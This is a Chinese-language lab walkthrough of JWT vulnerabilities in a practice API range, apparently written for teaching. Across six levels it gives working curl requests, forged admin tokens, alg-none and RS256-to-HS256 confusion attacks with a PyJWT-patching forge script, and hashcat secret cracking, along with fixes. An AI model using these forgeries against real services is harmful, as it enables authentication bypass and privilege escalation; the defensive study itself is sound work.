随着前后端分离、移动应用以及微服务架构的普及,API 已经成为现代 Web 应用中重要的数据交互方式,而基于 Token 的身份认证也逐渐得到广泛应用。其中,JWT(JSON Web Token)凭借结构紧凑、便于传输等特点,被广泛应用于用户身份认证和 API 接口鉴权。
- 本文将从 API 与 Token 的基本原理入手,结合JWT API 测试靶场,通过六个典型场景,依次分析 JWT 敏感信息泄露、签名验证缺陷、None 算法、弱密钥以及签名算法混淆等问题,介绍其基本原理、操作过程及对应的安全防护思路。
文章目录
-
- [一、API 的兴起](#一、API 的兴起)
-
- [1.1 什么是API?](#1.1 什么是API?)
- [1.2 API 架构带来的安全问题](#1.2 API 架构带来的安全问题)
- [1.3 访问API的两种请求方式](#1.3 访问API的两种请求方式)
-
- [(1)POST:获取 JWT](#(1)POST:获取 JWT)
- (2)GET:查询用户信息
- [1.4 身份认证流程](#1.4 身份认证流程)
- [二、基于 Token 的会话管理](#二、基于 Token 的会话管理)
-
- [2.1 什么是 Token?](#2.1 什么是 Token?)
- [2.2 Token 与 Session 的区别](#2.2 Token 与 Session 的区别)
- [2.3 Token 的存储与传输](#2.3 Token 的存储与传输)
- [2.4 什么是 JWT?](#2.4 什么是 JWT?)
- 三、靶场基本情况介绍
-
- 第一关:敏感信息泄露
- 第二关:签名验证错误
- 第三关:算法被设置为None
- 第四关:JWT弱密钥
- 第五关:签名算法混淆
- 第六关:令牌生命周期
- [额外知识:跨服务 JWT 转发攻击流程图](#额外知识:跨服务 JWT 转发攻击流程图)
- 总结
一、API 的兴起
1.1 什么是API?
API(Application Programming Interface),即应用程序编程接口,是不同软件系统之间进行数据交互和功能调用的一种接口机制。
随着 Web 应用和移动应用的快速发展,API 已经成为现代应用架构中非常重要的组成部分。
传统应用通常由前端页面直接与后端业务逻辑进行交互,而在现代架构中,前后端逐渐采用分离式设计,通过 API 实现通信。
例如,同一个业务系统可能同时提供:
- Web 网页应用:用户通过浏览器访问。
- 移动端应用:用户通过 Android 或 iOS 客户端访问。
- 桌面应用:通过客户端软件访问。
- 第三方系统:通过开放 API 对接业务功能。
这些不同的客户端可以调用同一套后端 API,实现业务逻辑的统一管理和复用。
1.2 API 架构带来的安全问题
虽然 API 能够统一处理身份认证和业务逻辑,但也带来了新的安全挑战。
在传统 Web 应用中,浏览器通常通过 Cookie 自动携带会话标识(Session ID),服务端根据该标识识别用户身份。
Cookie 机制与浏览器的自动管理行为联系较为紧密,直接将传统 Cookie 认证方案用于不同类型的客户端,可能增加认证机制的适配成本。
因此,基于 Token 的身份认证机制逐渐成为 API 系统中常见的认证方案。
1.3 访问API的两种请求方式
接口主要包含两种请求方式:
| 请求方法 | 功能 | 说明 |
|---|---|---|
| POST | 身份认证 | 提交用户名和密码,获取 JWT |
| GET | 用户信息查询 | 携带 JWT,查询指定用户信息 |
(1)POST:获取 JWT
我们首先可以通过 POST 请求提交用户名和密码,认证成功后服务端返回 JWT,具体命令如下:
bash
# POST方式传输
curl -X POST \
-H 'Content-Type: application/json' \
-d '{"username":"user","password":"passwordX"}' \
http://10.48.150.2/api/v1.0/exampleX
命令参数说明:
- curl:命令行 HTTP 请求工具,用于与 API 接口进行交互。
- -X
POST:指定 HTTP 请求方法为 POST。 - -H:设置 HTTP 请求头,此处指定请求数据格式为 JSON。
- -d:提交请求体数据,即用户名和密码。
- http://10.48.150.2/api/v1.0/exampleX:目标 API 接口地址
(2)GET:查询用户信息
获取 JWT 后,通过 GET 请求携带 Token,查询指定用户的信息。
bash
curl -X GET \
-H 'Authorization: Bearer <JWT>' \
'http://10.48.150.2/api/v1.0/exampleX?username=admin'
命令参数说明:
- curl:命令行 HTTP 请求工具。
- -X
GET:指定 HTTP 请求方法为 GET。 - -H:设置 HTTP 请求头,此处通过 Authorization: Bearer 携带 JWT。
<JWT>:替换为 POST 请求认证成功后返回的实际 Token。- ?username=admin:URL 查询参数,用于指定需要查询的用户,此处为管理员用户。
说明: 两种请求使用相同的 API 接口结构,区别在于 POST 用于身份认证并获取 Token,GET 用于携带 Token 验证身份及查询用户信息。
1.4 身份认证流程
整个 API 的交互过程可以分为四个步骤:
- 客户端提交用户名和密码,服务端完成身份验证。
- 身份验证通过后,服务端生成并返回 Token。
- 客户端在后续请求中携带 Token,服务端进行验证并检查用户权限。
- 验证通过后,服务端返回对应的业务数据。

二、基于 Token 的会话管理
2.1 什么是 Token?
Token(令牌)是一种用于身份认证和权限验证的凭证。
在基于 Token 的身份认证机制中,客户端首先向服务端提交用户名和密码。服务端验证凭证合法后,生成一个 Token 并返回给客户端。
客户端在后续请求中携带该 Token,服务端通过验证 Token 来识别请求者身份及其权限。
其基本流程如下:

2.2 Token 与 Session 的区别
传统 Session 认证与 Token 认证在会话管理方式上存在一定区别。
| 对比维度 | Session 认证 | Token 认证 |
|---|---|---|
| 身份凭证 | Session ID | Token |
| 状态存储 | 通常由服务端保存 | 通常由客户端持有 |
| 认证方式 | 根据 Session ID 查询会话 | 验证 Token |
| 客户端管理 | 浏览器通常自动携带 Cookie | 客户端主动携带 Token |
| 服务端扩展 | 可能需要处理 Session 共享 | 无状态 Token 通常更易于横向扩展 |
| 注销管理 | 通常可以删除服务端 Session | 需要额外设计撤销机制 |
需要注意,Token 认证不一定意味着服务端完全不保存状态。例如,服务端仍然可以通过黑名单、令牌版本号等方式管理 Token 的有效性。
2.3 Token 的存储与传输
在 Web 应用中,常见的 Token 存储位置包括:
- LocalStorage:浏览器本地存储。
- SessionStorage:浏览器会话级存储。
- Cookie:浏览器 Cookie 存储。
- 内存:由前端应用在运行期间临时保存。
当客户端向服务端发送新的 API 请求时,需要从存储中读取 Token,并将其放入 HTTP 请求头中。
例如:
http
GET /api/user/info HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
其中:
- Authorization:HTTP 身份认证请求头。
- Bearer:表示使用 Bearer Token 认证方案。
- 后面的字符串:实际传递的 Token。
2.4 什么是 JWT?
JWT(JSON Web Token)是一种基于 JSON 的开放标准(RFC 7519),用于在不同系统之间传递声明信息。
JWT 是常见的 Token 实现形式之一,具有以下特点:
- 可以通过数字签名或消息认证码验证数据完整性。
- 可以携带用户身份、权限及有效期等声明信息。
- 可以应用于 Web 登录、API 接口鉴权和微服务身份认证。
常见的 JWT 结构主要分为三部分:
- Header(头部):包含令牌类型和签名算法,例如 alg: HS256。
- Payload(载荷):包含用户身份、权限、有效期等信息,可以通过 Base64URL 解码读取。
- Signature(签名):用于验证数据完整性和真实性,不能像 Header、Payload 一样直接解码还原其内容。

需要注意,JWT 并不天然具备加密能力。常见的 JWS 格式只是对内容进行编码并提供签名保护,Header 和 Payload 通常可以直接解码读取。
三、靶场基本情况介绍
本次靶场主要用于模拟 Token 身份认证及权限校验场景
- 靶场的核心目标是通过分析不同示例中的 JWT 实现逻辑,发现认证及权限校验缺陷,尝试在授权测试环境中获取管理员权限。
- 当服务端接受具有管理员权限的有效 JWT 后,即可通过管理员用户查询接口获取对应的 Flag。
后续将围绕 JWT 的结构、签名算法、密钥管理及权限验证机制展开测试。
- 靶场采用统一的 API 接口结构:
- 靶场网址:
http://10.48.150.2/api/v1.0/exampleX X代表不同的测试示例编号,各示例主要通过不同的 JWT 验证逻辑模拟安全问题。
下面给大家简单看下API与JWT之间的关系:

第一关:敏感信息泄露
这一关我们要探讨的常见问题是:在 JWT 中,敏感信息是如何被暴露出来的?
一种常见的基于 Cookie 的会话管理方式是使用服务器端的会话机制来存储各种参数。
不过,使用令牌的话,由于整个 JWT 数据都会被发送到客户端,敏感信息就有可能被泄露,比如下述两种情况:
- 将密码哈希值作为凭证进行传输,或者直接以明文形式发送密码,都是不可取的做法。
- 认证服务器的私有 IP 地址或主机名等内部网络信息被泄露。
下面我们可以使用curl命令来验证对API的访问权限(如果访问成果,将会给我们返回一个JWT令牌,可以在jwt.io里进行解码)
bash
curl -H "Content-Type: application/json" -X POST -d "{\"username\":\"user\",\"password\":\"password1\"}" http://10.48.150.2/api/v1.0/example1
# 得到结果
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJwYXNzd29yZCI6InBhc3N3b3JkMSIsImFkbWluIjowLCJmbGFnIjoiVEhNezljYzAzOWNjLWQ4NWYtNDVkMS1hYzNiLTgxOGM4MzgzYTU2MH0ifQ.TkIH_A1zu1mu-zu6_9w_R4FUlYadkyjmXWyD5sqWd5U"
}

将上述token放入jwt.io网址进行解码其内容,即可获取其中的敏感信息:

解决办法
像密码或标志这样的敏感信息,不应作为 JWT 中的数据字段来传输,因为 JWT 最终是发送到客户端端的。相反,这些信息应妥善存储在后端的服务器上。
在需要时,可以从经过验证的 JWT 中获取用户名,再利用该用户名来检索这些敏感信息。如下所示:
bash
payload = jwt.decode(token, self.secret, algorithms="HS256")
username = payload['username']
flag = self.db_lookup(username, "flag")
第二关:签名验证错误
在签名验证方面,最严重的问题就是根本不进行签名验证。如果服务器不验证 JWT 中的签名,那么就可以随意修改 JWT 中的各项数据。
这里我们继续访问网址:
bash
curl -H "Content-Type: application/json" -X POST -d "{\"username\":\"user\",\"password\":\"password2\"}" http://10.48.150.2/api/v1.0/example2
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}
可以得到相应的token,将其放入jwt.io进行解码:

可以看到其存储的信息;验证通过,我们可以看一下该用户的具体信息(需要将获取的token放入命令中):
bash
# 示例命令
curl -H 'Authorization: Bearer [JWT Token]' http://10.48.150.2/api/v1.0/example2?username=user
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4" "http://10.48.150.2/api/v1.0/example2?username=user"
得到结果:

但要是我们要以"管理员"的身份访问呢,我们应该怎么尝试?
- 删除 JWT 中的第三部分内容(只保留点号),然后再进行请求。
- 将payload中的admin字段改为 1 ,然后尝试以管理员身份进行验证。
(1)删除第三部分内容
我们会发现,验证仍然有效!这说明,实际上并没有对签名进行验证。

(2)修改admin字段
这里我们可以在网站上对token进行编辑:

未修改前:

修改后:

两者具体区别:

也是成功实现越权:

解决办法
在服务器之间的通信中,必须对 JWT 进行验证,或者使用证书等额外的认证手段。如下例所示,可以通过提供密钥(或公钥)来验证 JWT:
bash
payload = jwt.decode(token, self.secret, algorithms="HS256")
第三关:算法被设置为None
另一个常见的问题是签名算法的降级。JWT 支持 None 签名算法,这意味着在发送 JWT 时实际上并不使用签名。
- 虽然这听起来有些奇怪,但这一设计的初衷是为了支持服务器间的通信:在上游处理过程中,JWT 的签名会被验证。这样一来,下游服务器就无需再验证签名了。
- 不过,如果开发人员没有固定使用某种签名算法,或者至少禁止了 None 算法的使用,那么你就可以将 JWT 中指定的签名算法更改为 None 。
- 这样一来,用于验证签名的库就会始终返回"true",从而让你能够
再次伪造 Token中的各种信息。
Example 3 与前两关最大的区别在于:攻击重点从 JWT 内容修改,转向绕过签名验证机制。
| 对比 | 前两关 | Example 3 |
|---|---|---|
| 核心关注点 | JWT 内容及权限验证 | JWT 签名验证 |
| 修改位置 | 主要关注 Payload | Header 和 Payload |
| 关键操作 | 分析、修改 Token 声明 | 将 alg 修改为 none |
| 签名处理 | 依赖原有签名验证逻辑 | 尝试绕过签名验证 |
| 攻击目的 | 获取管理员权限 | 让服务端接受无签名的管理员 Token |
所以这里我们还是先访问获取token:
bash
curl -H "Content-Type: application/json" -X POST -d "{\"username\":\"user\",\"password\":\"password3\"}" http://10.48.150.2/api/v1.0/example3
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}
得到token后,放入网址进行解析:

操作步骤
将 alg 修改为:none(注意:标准 JWT 算法标识是小写 none,区分大小写。)
再将将 admin 修改为 1,得到结果如下:

构造完成后,提交命令:
bash
curl -H "Authorization: Bearer <修改后的JWT>" "http://10.48.150.2/api/v1.0/example3?username=admin"
# 实际命令
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0." "http://10.48.150.2/api/v1.0/example3?username=admin"
得到结果:

第四关:JWT弱密钥
在这个例子中,如果使用了强度较低的密钥来生成 JWT。一旦收到了 JWT,就有几种方法可以用来破解其中的密钥。
bash
# 先获取token
curl -H "Content-Type: application/json" -X POST -d "{\"username\":\"user\",\"password\":\"password4\"}" http://10.48.150.2/api/v1.0/example4
在本例中,我们将介绍如何使用 Hashcat 来破解 JWT 中的密钥。当然,你也可以使用 John 等其他工具来破解密钥。以下是破解密钥的步骤:
- 将 JWT 保存到名为 jwt.txt 的文本文件中。
- 下载常见的 JWT 密钥列表。针对该情况,我们可以使用
wget命令来下载此类列表
bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
- 使用 Hashcat 工具,利用来破解密码
bash
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list
得到答案:secret


随后得到token后,即可得到token里的敏感信息:
bash
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc" "http://10.48.150.2/api/v1.0/example4?username=admin"

第五关:签名算法混淆
本关与 第三关None 置空攻击 类似,但特别发生在对称与非对称签名算法混淆时。如果使用非对称签名算法,例如 RS256,可能可以将该算法
降级为 HS256。
- 在这种情况下,一些库会默认使用公钥作为对称签名算法的秘密。由于公钥是已知的,你可以结合 HS256 算法与公钥伪造一个有效的签名。
这里给大家提供了一个脚本来协助构造JWT:
python
import jwt
# Pyjwt refuses to use an asymmetric key as an HMAC secret. The line below replaces
# that check at runtime, so that no library files have to be edited.
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key: key.encode() if isinstance(key, str) else key
public_key = "ADD_KEY_HERE"
payload = {
'username' : 'user',
'admin' : 0
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
这里我们把脚本保存为 forge.py,可能需要先安装 Pyjwt(pip3 安装 pyjwt),然后才能用 python3 forge.py 运行脚本。
python
# 下载模块
pip3 install pyjwt
# 构造脚本
cat > forge.py <<'PY'
import jwt
from jwt.algorithms import HMACAlgorithm
from jwt.utils import force_bytes
# 临时绕过 PyJWT 对 RSA 公钥作为 HMAC 密钥的检查
HMACAlgorithm.prepare_key = lambda self, key: force_bytes(key)
# Example 5 返回的 RSA 公钥
public_key = """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip"""
# 构造管理员身份
payload = {
"username": "admin",
"admin": 1
}
# 使用 RSA 公钥作为 HS256 密钥进行签名
token = jwt.encode(
payload,
public_key,
algorithm="HS256"
)
print("\n[+] Forged JWT:")
print(token)
PY
# 执行命令
python forge.py
接下来我们还是老样子,获取相应的token:
bash
curl -H "Content-Type: application/json" -X POST -d "{\"username\":\"user\",\"password\":\"password5\"}" http://10.48.182.2/api/v1.0/example5
# 可以看到我们已经得到了公钥以及token
{
"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
按照上述公钥和 Payload 计算,生成的 JWT 为:
bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.PqBj1AKVA29470LnE7FbGonZ-NgzDCWhI8C-jr_Rjwc
最后执行命令,得到结果:
bash
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9.PqBj1AKVA29470LnE7FbGonZ-NgzDCWhI8C-jr_Rjwc" "http://10.48.182.2/api/v1.0/example5?username=admin"

本关知识点总结:
| 操作 | 说明 |
|---|---|
| 获取 JWT | POST 登录 Example 5 |
| 获取公钥 | 提取 RSA Public Key |
| 修改算法 | RS256 → HS256 |
| 修改 Payload | username=admin、admin=1 |
| 伪造签名 | 使用 RSA 公钥作为 HMAC 密钥 |
| 获取 Flag | 携带新 JWT 请求管理员接口 |
第六关:令牌生命周期
一个常见的问题是,如果 exp 值设置得太大(或根本没有设置),令牌的有效时间就会太长,甚至可能
永远不会过期。
- 使用cookie,cookie可以在服务器端过期。
- 然而,JWT 没有内置相同的功能。
在本关中,JWT 实现没有指定 exp 值,这意味着令牌是永久性的。请使用下面的令牌来获取token中的敏感信息:
bash
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU
# 在cmd中执行命令
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU" "http://10.48.182.2/api/v1.0/example6?username=admin"
成功得到结果:

本关知识要点:
| 项目 | 内容 |
|---|---|
| 漏洞类型 | JWT 生命周期缺陷 |
| 关键字段 | exp |
| 漏洞原因 | 未设置 Token 过期时间 |
| 利用方式 | 使用未过期限制的管理员 JWT |
| 测试目标 | 获取管理员信息及 Flag |
额外知识:跨服务 JWT 转发攻击流程图
模拟了两个独立的业务应用 AppA 和 AppB,用户通过不同的认证参数获取对应的 JWT,其中 Token 包含 aud(Audience,受众)声明,用于标识令牌允许访问的目标服务。
- 正常情况下,不同服务应严格校验 Token 的受众范围,但由于 AppA 未正确验证 aud 字段,导致攻击者可以将原本由 AppB 签发的管理员 Token 转发至 AppA 使用,从而绕过服务间的身份认证边界,最终实现跨服务权限提升并获取 Flag。


总结
通过本次 JWT 安全测试,可以发现,JWT 本身并不是不安全的,真正的问题往往出现在开发人员对签名算法、密钥管理以及身份权限校验机制的不合理使用上。
本文通过六个实际测试场景,梳理了 JWT 常见的安全问题:
- 敏感信息泄露: JWT 的 Header 和 Payload 通常可以直接解码,不能将 Base64URL 编码误认为数据加密。
- 签名验证缺陷: 服务端未正确验证 Token 签名,可能导致攻击者篡改身份及权限信息。
- None 算法攻击: 服务端错误允许无签名 Token,可能造成签名验证绕过。
- 弱密钥攻击: 使用低强度对称密钥可能被离线爆破,进而伪造合法签名。
- 签名算法混淆: 服务端混用对称与非对称签名算法,可能导致公钥被错误地用作 HMAC 密钥。
- 令牌生命周期: exp 值设置得太大(或根本没有设置),令牌的有效时间就会太长。
从实际安全测试的角度来看,JWT 测试不能仅停留在 Token 解码和字段修改层面,更重要的是分析服务端的验证逻辑,并通过实际请求确认身份认证和权限控制是否真正被绕过。
在日常开发和安全加固过程中,应严格限制允许使用的签名算法,使用高强度随机密钥,正确验证 Token 的签名及相关声明,并针对不同业务服务建立明确的身份认证和权限边界。
JWT 的安全性不仅取决于 Token 本身,更取决于服务端如何生成、验证和使用 Token。
期待下次再见。